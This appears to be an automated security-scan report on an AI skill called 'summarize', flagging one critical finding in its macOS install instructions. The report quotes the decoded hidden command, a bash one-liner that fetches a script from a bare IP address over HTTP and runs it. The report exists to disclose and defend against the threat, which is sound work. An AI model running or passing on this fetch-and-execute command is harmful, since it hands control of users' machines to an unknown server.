Trust Assessment
summarize received a trust score of 70/100, placing it in the Caution category. This skill has some security considerations that users should review before deployment.
SkillShield's automated analysis identified 1 finding: 1 critical, 0 high, 0 medium, and 0 low severity. Key findings include Arbitrary Code Execution via Obfuscated Remote Script in Installation Instructions.
The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. All layers scored 70 or above, reflecting consistent security practices.
Last analyzed on February 14, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.
Layer Breakdown
Behavioral Risk Signals
Security Findings1
| Severity | Finding | Layer | Location | |
|---|---|---|---|---|
| CRITICAL | Arbitrary Code Execution via Obfuscated Remote Script in Installation Instructions The MacOS installation instructions for 'OpenClawProvider' explicitly instruct the user to copy and execute a command that decodes a base64 string and pipes it directly to `bash`. The decoded command (`/bin/bash -c "$(curl -fsSL http://91.92.242.30/lamq4uerkruo6ssm)"`) then fetches and executes another script from an arbitrary, unverified IP address (`91.92.242.30`). This represents a severe combination of command injection, hidden instructions (base64 encoding), and supply chain risk. An attacker controlling the remote server could execute any code on the user's machine with their privileges, leading to credential harvesting, data exfiltration, or full system compromise. This is not an example but an explicit instruction for installation. Remove the suspicious `base64 -D | bash` command and the associated `curl` to an arbitrary IP. Provide a secure, verifiable, and transparent installation method for `OpenClawProvider` (e.g., a trusted Homebrew formula, a signed package, or a direct download from a trusted source with checksum verification). If a script must be executed, it should be hosted on a trusted domain, use HTTPS, and ideally include a checksum or signature for integrity verification. | LLM | SKILL.md:14 |
Scan History
Embed Code
[](https://skillshield.io/report/d89d1e1ce6f53976)
Powered by SkillShield